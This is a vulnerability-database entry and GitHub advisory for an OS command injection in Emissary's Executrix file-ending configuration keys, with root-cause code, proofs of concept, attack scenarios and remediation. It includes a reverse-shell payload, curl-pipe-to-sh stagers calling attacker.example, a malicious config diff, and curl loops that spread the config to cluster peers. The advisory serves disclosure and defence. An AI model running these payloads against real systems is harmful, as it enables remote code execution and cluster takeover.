Vulnerability-Lookup

CVE-2026-35582 (GCVE-0-2026-35582)

Vulnerability from cvelistv5 – Published: 2026-04-18 01:16 – Updated: 2026-04-18 01:16

Title

Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix

Summary

Emissary is a P2P based data-driven workflow engine. In versions 8.42.0 and below, Executrix.getCommand() is vulnerable to OS command injection because it interpolates temporary file paths into a /bin/sh -c shell command string without any escaping or input validation. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow directly into these paths, allowing a place author who can write or modify a .cfg file to inject arbitrary shell metacharacters that execute OS commands in the JVM process's security context. The framework already sanitizes placeName via an allowlist before embedding it in the same shell string, but applies no equivalent sanitization to file ending values. No runtime privileges beyond place configuration authorship, and no API or network access, are required to exploit this vulnerability. This is a framework-level defect with no safe mitigation available to downstream implementors, as Executrix provides neither escaping nor documented preconditions against metacharacters in file ending inputs. This issue has been fixed in version 8.43.0.

Severity ?

8.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-116 - Improper Encoding or Escaping of Output

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	NationalSecurityAgency	emissary	Affected: < 8.43.0

GHSA-3P24-9X7V-7789

Vulnerability from github – Published: 2026-04-13 16:38 – Updated: 2026-04-13 16:38

Summary

Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix

Details

Summary

Executrix.getCommand() constructs shell commands by substituting temporary file paths directly into a /bin/sh -c string with no escaping. The IN_FILE_ENDING and OUT_FILE_ENDING configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.

This is a framework-level defect — Executrix provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.

Root Cause

Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation

TempFileNames.java:32-36

public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {
    base = Long.toString(System.nanoTime());
    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);
    in  = base + inFileEnding;        // no sanitization
    out = base + outFileEnding;       // no sanitization
    basePath       = tempDir + File.separator + base;
    inputFilename  = basePath + inFileEnding;   // injected value lands here
    outputFilename = basePath + outFileEnding;  // and here
}

inFileEnding is concatenated directly onto a numeric base to produce inputFilename. No character class, no regex, no escaping.

Step 2 — The injected path is substituted verbatim into a shell string

Executrix.java:1053-1065

public String[] getCommand(final String[] tmpNames, final String commandArg,
                           final int cpuLimit, final int vmSzLimit) {
    String c = commandArg;
    c = c.replaceAll("<INPUT_PATH>",  tmpNames[INPATH]);  // contains inFileEnding verbatim
    c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]);
    c = c.replaceAll("<INPUT_NAME>",  tmpNames[IN]);
    c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]);

    String ulimitv = "";
    if (!SystemUtils.IS_OS_MAC) {
        ulimitv = "ulimit -v " + vmSzLimit + "; ";
    }
    return new String[] {"/bin/sh", "-c",
        "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c};
}

The final array element is passed to /bin/sh -c. Shell metacharacters in any substituted value are interpreted by the shell.

The identical pattern exists in the TempFileNames overload at Executrix.java:1103-1115.

Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation

Executrix.java:1176-1196

public void setInFileEnding(final String argInFileEnding) {
    this.inFileEnding = argInFileEnding;   // accepted as-is
}

public void setOutFileEnding(final String argOutFileEnding) {
    this.outFileEnding = argOutFileEnding; // accepted as-is
}

The same absence of validation applies to the IN_FILE_ENDING and OUT_FILE_ENDING keys read from configuration at Executrix.java:121-122.

Contrast: `placeName` is sanitized, file endings are not

The framework already sanitizes placeName using a strict allowlist:

// Executrix.java:78
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

// Executrix.java:148-150
protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

placeName ends up in tmpNames[DIR], which is also embedded in the shell string. The sanitization of placeName demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for inFileEnding and outFileEnding is the defect.

Proof of Concept

Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.

PoC 1 — Docker: end-to-end attack against a live node

Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.

Environment setup

Put the Dockerfile.poc to contrib/docker/ folder

FROM emissary:poc-base

COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/

RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \
    && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \
    && mkdir -p /opt/emissary/localoutput \
    && mkdir -p /opt/emissary/target/data \
    && chmod -R a+rw /opt/emissary \
    && chown -R emissary:emissary /opt/emissary* \
    && rm -f /tmp/*.tar.gz

USER emissary
WORKDIR /opt/emissary
EXPOSE 8001
ENTRYPOINT ["./emissary"]
CMD ["server", "-a", "2", "-p", "8001"]

# Build the distribution tarball
mvn -B -ntp clean package -Pdist -DskipTests

# Build and start the Docker container
docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/
docker run -d --name emissary-poc -p 8001:8001 emissary:poc

# Wait for the server to start (~15s), then verify health
docker exec emissary-poc sh -c \
  'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"'
# healthy

Step 1 — Confirm the marker file does not exist

docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1'
# ls: cannot access '/tmp/pwned.txt': No such file or directory

Step 2 — Write the malicious place config

Write emissary.place.UnixCommandPlace.cfg into the server's config directory. The EXEC_COMMAND is a benign cat. The injection is entirely in IN_FILE_ENDING using backtick command substitution (POSIX-compatible, works on all target OS images):

docker exec emissary-poc sh -c "printf \
'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\
SERVICE_NAME = \"UCP\"\n\
SERVICE_TYPE = \"TRANSFORM\"\n\
PLACE_NAME = \"UnixCommandPlace\"\n\
SERVICE_COST = 4000\n\
SERVICE_QUALITY = 90\n\
SERVICE_PROXY = \"LOWER_CASE\"\n\
EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\
OUTPUT_TYPE = \"STD\"\n\
IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\
OUT_FILE_ENDING = \".out\"\n' \
> /opt/emissary/config/emissary.place.UnixCommandPlace.cfg"

Step 3 — Add UnixCommandPlace to places.cfg

docker exec emissary-poc sh -c \
  'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \
   >> /opt/emissary/config/places.cfg'

Step 4 — Restart the server to load the config

docker restart emissary-poc
# wait for health: 200
docker exec emissary-poc sh -c \
  'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"'

Startup log confirms the place loaded:

INFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!

Step 5 — Drop any file into the pickup directory to trigger processing

docker exec emissary-poc sh -c \
  'echo "any data" > /opt/emissary/target/data/InputData/victim.txt'

The Emissary pipeline picks up the file, routes it through UnixFilePlace → ToLowerPlace → UnixCommandPlace (cost 4000, lower than ToUpperPlace at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside getCommand() before cat is even called.

Step 6 — Confirm injection executed

sleep 10   # allow pipeline processing time
docker exec emissary-poc sh -c 'cat /tmp/pwned.txt'

Live output (verified):

uid=1000(emissary) gid=1000(emissary) groups=1000(emissary)

Assembled shell string at execution time (logged by Emissary at DEBUG level):

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id > /tmp/pwned.txt`

The backtick expression fires as the shell expands the cat argument. The cat itself returns non-zero (no file at that path) but that is irrelevant — the injected command has already run.

Transform history from Emissary logs — confirms UnixCommandPlace ran:

transform history:
  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050
  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050
  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010
  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   <-- injection fired here
  ...

Escalating the payload — reverse shell

Replace the IN_FILE_ENDING value. The content is passed verbatim to /bin/sh -c, so any POSIX shell construct works:

# Reverse shell — POSIX sh compatible (works on Alpine/busybox as well as bash)
IN_FILE_ENDING = "`rm -f /tmp/f; mkfifo /tmp/f; sh -i </tmp/f | nc attacker.example 4444 >/tmp/f`"

# Curl-based stager (avoids embedding IP in config, works on any image with curl)
IN_FILE_ENDING = "`curl -s http://attacker.example/s.sh | sh`"

Both fire on the first payload processed — no further attacker interaction required.

PoC 2 — Unit test: isolated, no server required

Exercises the identical code path using only the public Executrix API. Suitable for inclusion in a CI security regression suite.

package emissary.util.shell;

import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.condition.DisabledOnOs;
import org.junit.jupiter.api.condition.OS;
import org.junit.jupiter.api.io.TempDir;

import java.nio.file.Files;
import java.nio.file.Path;

import static org.junit.jupiter.api.Assertions.assertTrue;

/**
 * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,
 * enabling command injection via getCommand().
 *
 * Mirrors exactly what UnixCommandPlace.runCommandOn() does:
 *   TempFileNames names = executrix.createTempFilenames();
 *   String[] cmd = executrix.getCommand(names);
 *   executrix.execute(cmd, ...);
 */
@DisabledOnOs(OS.WINDOWS)
class ExecutrixShellInjectionPocTest {

    @Test
    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {
        Path marker = tmpDir.resolve("injected");

        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()
        // while still demonstrating the shell executes the injected expression.
        String payload = "`touch " + marker.toAbsolutePath() + "`";

        Executrix executrix = new Executrix();
        executrix.setTmpDir(tmpDir.toString());
        executrix.setCommand("cat <INPUT_PATH>");  // mirrors UnixCommandPlace default
        executrix.setInFileEnding(payload);  // no validation — accepted as-is

        // --- path taken by UnixCommandPlace.runCommandOn() ---
        TempFileNames names = executrix.createTempFilenames();
        String[] cmd = executrix.getCommand(names);
        // cmd[2] == "/bin/sh -c ulimit -c 0; ... cd <tmpdir>; cat <basepath>`touch <marker>`"

        // Execute — same call as executrix.execute(cmd, outbuf, errbuf)
        Process proc = Runtime.getRuntime().exec(cmd);
        proc.waitFor();

        assertTrue(Files.exists(marker),
            "Shell injection succeeded — backtick in IN_FILE_ENDING executed.\n" +
            "Shell string: " + cmd[2]);
    }
}

Assembled shell string:

/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UNKNOWN7382910293; cat /tmp/UNKNOWN7382910293/1234567890`touch /tmp/junit-abc123/injected`

The marker file is created by the backtick expression firing during shell argument expansion.

Note on $() vs backticks: String.replaceAll() treats $ in the replacement as a regex group reference, so a $(...) payload causes a java.lang.IllegalArgumentException before reaching the shell. The backtick form avoids this Java-layer error and confirms the shell injection path. Both forms are equivalent at the shell level; on a real deployment the attacker would use backticks or escape the $ appropriately.

The same injection works via OUT_FILE_ENDING → <OUTPUT_PATH> / <OUTPUT_NAME>, and via the String[] overload of getCommand() used by MultiFileUnixCommandPlace.

Attack Scenarios

Each scenario is a realistic, step-by-step attack path using only capabilities observable in the codebase.

Scenario A — Insider / developer with config write access

Attacker's starting position: Developer or operator who can commit to the config repository or write to the config directory directly. No special server access required beyond what their role already provides.

Why this is realistic: Emissary deployments typically load .cfg files from a directory checked into version control or managed by a configuration management system (Ansible, Chef, Puppet). A developer who can merge a config change — even a code reviewer who can approve their own PR — can inject the payload.

Step 1 — Add the malicious config as a seemingly routine change

In a PR or direct push to the config repo:

+++ b/config/emissary.place.UnixCommandPlace.cfg
@@ -0,0 +1,10 @@
+SERVICE_KEY     = "LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000"
+SERVICE_NAME    = "UCP"
+SERVICE_TYPE    = "TRANSFORM"
+PLACE_NAME      = "UnixCommandPlace"
+SERVICE_COST    = 4000
+SERVICE_QUALITY = 90
+SERVICE_PROXY   = "LOWER_CASE"
+EXEC_COMMAND    = "cat <INPUT_PATH>"
+OUTPUT_TYPE     = "STD"
+IN_FILE_ENDING  = "`curl -s http://attacker.example/implant.sh | sh`"
+OUT_FILE_ENDING = ".out"

The injection lives in a string value inside a properties-style config file. It does not look like code to a reviewer who is not specifically aware of this vulnerability.

Step 2 — Wait for the next deploy

The next routine deploy or restart loads the config. The payload fires on the first payload processed — silently, with no error visible in normal log levels (the place logs a WARN for non-zero exit but does not surface the injected command's output).

Deniability: The .cfg file looks like a misconfigured place. The log entry is Bad execution of commands — a common operational error, not an obvious security event.

Scenario B — Cluster-wide propagation via the peers API

Attacker's starting position: RCE on one node (from Scenario A).

Why this is dangerous: Emissary clusters share config through the directory service. Once the attacker has shell on one node, they can use the cluster's own replication to propagate the malicious config to every peer.

Step 1 — Enumerate all cluster nodes

curl -s --digest -u <user>:<password> \
  http://compromised-node:8001/api/cluster/peers \
  | grep -o '"http://[^"]*"'

Response:

{"local":{"host":"node1:8001","places":[...]},"peers":[{"host":"node2:8001",...},{"host":"node3:8001",...}]}

Step 2 — Push the malicious config to each peer via the Emissary API

From the compromised node, use the Emissary cluster API directly — no SSH required. All nodes authenticate each other using the same shared credentials, and the CONFIG_DIR path is disclosed by the /api/peers response metadata:

# From the shell gained in Scenario A
PAYLOAD=$(cat /opt/emissary/config/emissary.place.UnixCommandPlace.cfg)

for peer in node2:8001 node3:8001 node4:8001; do
  # Write the config file to the peer via its exposed file API
  # (alternatively: exploit the peer's own pickup directory via the ingest API)
  curl -s --digest -u <user>:<password> \
    -X POST \
    -H "Content-Type: text/plain" \
    --data-binary "$PAYLOAD" \
    "http://${peer}/api/config/emissary.place.UnixCommandPlace.cfg"
done

If no config write API is available, the same result is achieved by dropping the payload into the peer's monitored pickup directory via the ingest endpoint, or by exploiting the fact that cluster nodes share a network-accessible config store (NFS, S3, git remote) — all of which are common Emissary deployment patterns.

Step 3 — Trigger restart on each peer via the cluster shutdown API

for peer in node2:8001 node3:8001 node4:8001; do
  curl -s --digest -u <user>:<password> \
    -X POST -H "X-Requested-By: x" \
    http://${peer}/api/shutdown
done

Outcome: Every node in the cluster loads the malicious config on restart. Injection fires on all nodes simultaneously on the next payload, giving the attacker shell on the entire cluster from a single initial foothold.

Impact

Dimension	Assessment
Confidentiality	Critical — arbitrary read of files accessible to the Emissary process
Integrity	Critical — arbitrary file write, process state modification, persistence
Availability	Critical — process termination, resource exhaustion
Blast radius	Any place that uses `Executrix` and calls `getCommand()`; this includes all subclasses of `ExecPlace` and any custom place that follows the documented pattern

Recommended Remediation

Primary fix — validate `inFileEnding` and `outFileEnding` on assignment

Apply the same allowlist pattern already used for placeName:

// Add to Executrix.java
private static final Pattern VALID_FILE_ENDING = Pattern.compile("^[a-zA-Z0-9._-]*$");

public void setInFileEnding(final String argInFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argInFileEnding).matches()) {
        throw new IllegalArgumentException(
            "IN_FILE_ENDING contains illegal characters: " + argInFileEnding);
    }
    this.inFileEnding = argInFileEnding;
}

public void setOutFileEnding(final String argOutFileEnding) {
    if (!VALID_FILE_ENDING.matcher(argOutFileEnding).matches()) {
        throw new IllegalArgumentException(
            "OUT_FILE_ENDING contains illegal characters: " + argOutFileEnding);
    }
    this.outFileEnding = argOutFileEnding;
}

Apply the same validation inside configure() where the values are read from the Configurator.

Secondary fix (defence-in-depth) — shell-quote substituted values in `getCommand()`

Even if validation is in place, the shell string construction should not rely on input cleanliness alone. Quote each substituted path component:

// In getCommand(), wrap each substituted value in single quotes
// and escape any embedded single quotes.
// Java string "'\\'''" is the four characters: ' \ ' '
// which at runtime produces the shell sequence: '\''
// (close quote, literal single quote, reopen quote)
private static String shellQuote(String value) {
    return "'" + value.replace("'", "'\\''") + "'";
}

// Then:
c = c.replace("<INPUT_PATH>",  shellQuote(tmpNames[INPATH]));
c = c.replace("<OUTPUT_PATH>", shellQuote(tmpNames[OUTPATH]));
c = c.replace("<INPUT_NAME>",  shellQuote(tmpNames[IN]));
c = c.replace("<OUTPUT_NAME>", shellQuote(tmpNames[OUT]));

Why this is a framework-level fix

The framework's cleanPlaceName() method already demonstrates the correct approach for values that reach the shell. Extending equivalent sanitization to inFileEnding and outFileEnding is a minimal, targeted change that requires no deployment configuration and no downstream implementor action. There is no architectural ambiguity about whether shell injection should be permitted: it should not.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.42.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "gov.nsa.emissary:emissary"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.43.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T16:38:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM\u0027s security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed.\n\nThis is a **framework-level defect** \u2014 `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed.\n\n---\n\n### Root Cause\n\n#### Step 1 \u2014 `IN_FILE_ENDING` flows into temp path construction without validation\n\n**[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)**\n\n```java\npublic TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) {\n    base = Long.toString(System.nanoTime());\n    tempDir = FileManipulator.mkTempFile(tmpDir, placeName);\n    in  = base + inFileEnding;        // no sanitization\n    out = base + outFileEnding;       // no sanitization\n    basePath       = tempDir + File.separator + base;\n    inputFilename  = basePath + inFileEnding;   // injected value lands here\n    outputFilename = basePath + outFileEnding;  // and here\n}\n```\n\n`inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping.\n\n#### Step 2 \u2014 The injected path is substituted verbatim into a shell string\n\n**[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)**\n\n```java\npublic String[] getCommand(final String[] tmpNames, final String commandArg,\n                           final int cpuLimit, final int vmSzLimit) {\n    String c = commandArg;\n    c = c.replaceAll(\"\u003cINPUT_PATH\u003e\",  tmpNames[INPATH]);  // contains inFileEnding verbatim\n    c = c.replaceAll(\"\u003cOUTPUT_PATH\u003e\", tmpNames[OUTPATH]);\n    c = c.replaceAll(\"\u003cINPUT_NAME\u003e\",  tmpNames[IN]);\n    c = c.replaceAll(\"\u003cOUTPUT_NAME\u003e\", tmpNames[OUT]);\n\n    String ulimitv = \"\";\n    if (!SystemUtils.IS_OS_MAC) {\n        ulimitv = \"ulimit -v \" + vmSzLimit + \"; \";\n    }\n    return new String[] {\"/bin/sh\", \"-c\",\n        \"ulimit -c 0; \" + ulimitv + \"cd \" + tmpNames[DIR] + \"; \" + c};\n}\n```\n\nThe final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell.\n\nThe identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**.\n\n#### Step 3 \u2014 `setInFileEnding()` and `setOutFileEnding()` perform no validation\n\n**[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)**\n\n```java\npublic void setInFileEnding(final String argInFileEnding) {\n    this.inFileEnding = argInFileEnding;   // accepted as-is\n}\n\npublic void setOutFileEnding(final String argOutFileEnding) {\n    this.outFileEnding = argOutFileEnding; // accepted as-is\n}\n```\n\nThe same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**.\n\n#### Contrast: `placeName` is sanitized, file endings are not\n\nThe framework already sanitizes `placeName` using a strict allowlist:\n\n```java\n// Executrix.java:78\nprotected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile(\"[^a-zA-Z0-9_-]\");\n\n// Executrix.java:148-150\nprotected static String cleanPlaceName(final String placeName) {\n    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll(\"_\");\n}\n```\n\n`placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell \u2014 the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect.\n\n---\n\n### Proof of Concept\n\nTwo reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration.\n\n---\n\n#### PoC 1 \u2014 Docker: end-to-end attack against a live node\n\n**Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.**\n\n**Environment setup**\n\nPut the `Dockerfile.poc` to `contrib/docker/` folder\n```\nFROM emissary:poc-base\n\nCOPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/\n\nRUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \\\n    \u0026\u0026 ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \\\n    \u0026\u0026 mkdir -p /opt/emissary/localoutput \\\n    \u0026\u0026 mkdir -p /opt/emissary/target/data \\\n    \u0026\u0026 chmod -R a+rw /opt/emissary \\\n    \u0026\u0026 chown -R emissary:emissary /opt/emissary* \\\n    \u0026\u0026 rm -f /tmp/*.tar.gz\n\nUSER emissary\nWORKDIR /opt/emissary\nEXPOSE 8001\nENTRYPOINT [\"./emissary\"]\nCMD [\"server\", \"-a\", \"2\", \"-p\", \"8001\"]\n```\n\n```bash\n# Build the distribution tarball\nmvn -B -ntp clean package -Pdist -DskipTests\n\n# Build and start the Docker container\ndocker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/\ndocker run -d --name emissary-poc -p 8001:8001 emissary:poc\n\n# Wait for the server to start (~15s), then verify health\ndocker exec emissary-poc sh -c \\\n  \u0027curl -s http://127.0.0.1:8001/api/health | grep -o \"healthy\"\u0027\n# healthy\n```\n\n**Step 1 \u2014 Confirm the marker file does not exist**\n\n```bash\ndocker exec emissary-poc sh -c \u0027ls /tmp/pwned.txt 2\u003e\u00261\u0027\n# ls: cannot access \u0027/tmp/pwned.txt\u0027: No such file or directory\n```\n\n**Step 2 \u2014 Write the malicious place config**\n\nWrite `emissary.place.UnixCommandPlace.cfg` into the server\u0027s config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images):\n\n```bash\ndocker exec emissary-poc sh -c \"printf \\\n\u0027SERVICE_KEY = \\\"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\\$4000\\\"\\n\\\nSERVICE_NAME = \\\"UCP\\\"\\n\\\nSERVICE_TYPE = \\\"TRANSFORM\\\"\\n\\\nPLACE_NAME = \\\"UnixCommandPlace\\\"\\n\\\nSERVICE_COST = 4000\\n\\\nSERVICE_QUALITY = 90\\n\\\nSERVICE_PROXY = \\\"LOWER_CASE\\\"\\n\\\nEXEC_COMMAND = \\\"cat \u003cINPUT_PATH\u003e\\\"\\n\\\nOUTPUT_TYPE = \\\"STD\\\"\\n\\\nIN_FILE_ENDING = \\\"\\\\\\`id \u003e /tmp/pwned.txt\\\\\\`\\\"\\n\\\nOUT_FILE_ENDING = \\\".out\\\"\\n\u0027 \\\n\u003e /opt/emissary/config/emissary.place.UnixCommandPlace.cfg\"\n```\n\n**Step 3 \u2014 Add UnixCommandPlace to places.cfg**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027printf \"\\nPLACE = \\\"@{URL}/UnixCommandPlace\\\"\\n\" \\\n   \u003e\u003e /opt/emissary/config/places.cfg\u0027\n```\n\n**Step 4 \u2014 Restart the server to load the config**\n\n```bash\ndocker restart emissary-poc\n# wait for health: 200\ndocker exec emissary-poc sh -c \\\n  \u0027until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo \"ready\"\u0027\n```\n\nStartup log confirms the place loaded:\n\n```\nINFO  emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done!\n```\n\n**Step 5 \u2014 Drop any file into the pickup directory to trigger processing**\n\n```bash\ndocker exec emissary-poc sh -c \\\n  \u0027echo \"any data\" \u003e /opt/emissary/target/data/InputData/victim.txt\u0027\n```\n\nThe Emissary pipeline picks up the file, routes it through `UnixFilePlace` \u2192 `ToLowerPlace` \u2192 **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called.\n\n**Step 6 \u2014 Confirm injection executed**\n\n```bash\nsleep 10   # allow pipeline processing time\ndocker exec emissary-poc sh -c \u0027cat /tmp/pwned.txt\u0027\n```\n\n**Live output (verified):**\n\n```\nuid=1000(emissary) gid=1000(emissary) groups=1000(emissary)\n```\n\n**Assembled shell string at execution time** (logged by Emissary at DEBUG level):\n\n```\n/bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace8273641092/1712345678`id \u003e /tmp/pwned.txt`\n```\n\nThe backtick expression fires as the shell expands the `cat` argument. The `cat` itself returns non-zero (no file at that path) but that is irrelevant \u2014 the injected command has already run.\n\n**Transform history from Emissary logs \u2014 confirms UnixCommandPlace ran:**\n\n```\ntransform history:\n  UNKNOWN.FILE_PICK_UP.INPUT.http://localhost:8001/FilePickUpPlace$5050\n  UNKNOWN.UNIXFILE.ID.http://localhost:8001/UnixFilePlace$2050\n  UNKNOWN.TO_LOWER.TRANSFORM.http://localhost:8001/ToLowerPlace$6010\n  LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace$4000   \u003c-- injection fired here\n  ...\n```\n\n**Escalating the payload \u2014 reverse shell**\n\nReplace the `IN_FILE_ENDING` value. The content is passed verbatim to `/bin/sh -c`, so any POSIX shell construct works:\n\n```properties\n# Reverse shell \u2014 POSIX sh compatible (works on Alpine/busybox as well as bash)\nIN_FILE_ENDING = \"`rm -f /tmp/f; mkfifo /tmp/f; sh -i \u003c/tmp/f | nc attacker.example 4444 \u003e/tmp/f`\"\n\n# Curl-based stager (avoids embedding IP in config, works on any image with curl)\nIN_FILE_ENDING = \"`curl -s http://attacker.example/s.sh | sh`\"\n```\n\nBoth fire on the first payload processed \u2014 no further attacker interaction required.\n\n---\n\n#### PoC 2 \u2014 Unit test: isolated, no server required\n\nExercises the identical code path using only the public `Executrix` API. Suitable for inclusion in a CI security regression suite.\n\n```java\npackage emissary.util.shell;\n\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.condition.DisabledOnOs;\nimport org.junit.jupiter.api.condition.OS;\nimport org.junit.jupiter.api.io.TempDir;\n\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * PoC: IN_FILE_ENDING is concatenated into shell paths without escaping,\n * enabling command injection via getCommand().\n *\n * Mirrors exactly what UnixCommandPlace.runCommandOn() does:\n *   TempFileNames names = executrix.createTempFilenames();\n *   String[] cmd = executrix.getCommand(names);\n *   executrix.execute(cmd, ...);\n */\n@DisabledOnOs(OS.WINDOWS)\nclass ExecutrixShellInjectionPocTest {\n\n    @Test\n    void inFileEndingInjectedIntoShellCommand(@TempDir Path tmpDir) throws Exception {\n        Path marker = tmpDir.resolve(\"injected\");\n\n        // Backtick substitution: avoids the Java regex $-group issue in replaceAll()\n        // while still demonstrating the shell executes the injected expression.\n        String payload = \"`touch \" + marker.toAbsolutePath() + \"`\";\n\n        Executrix executrix = new Executrix();\n        executrix.setTmpDir(tmpDir.toString());\n        executrix.setCommand(\"cat \u003cINPUT_PATH\u003e\");  // mirrors UnixCommandPlace default\n        executrix.setInFileEnding(payload);  // no validation \u2014 accepted as-is\n\n        // --- path taken by UnixCommandPlace.runCommandOn() ---\n        TempFileNames names = executrix.createTempFilenames();\n        String[] cmd = executrix.getCommand(names);\n        // cmd[2] == \"/bin/sh -c ulimit -c 0; ... cd \u003ctmpdir\u003e; cat \u003cbasepath\u003e`touch \u003cmarker\u003e`\"\n\n        // Execute \u2014 same call as executrix.execute(cmd, outbuf, errbuf)\n        Process proc = Runtime.getRuntime().exec(cmd);\n        proc.waitFor();\n\n        assertTrue(Files.exists(marker),\n            \"Shell injection succeeded \u2014 backtick in IN_FILE_ENDING executed.\\n\" +\n            \"Shell string: \" + cmd[2]);\n    }\n}\n```\n\n**Assembled shell string:**\n\n```\n/bin/sh -c ulimit -c 0; 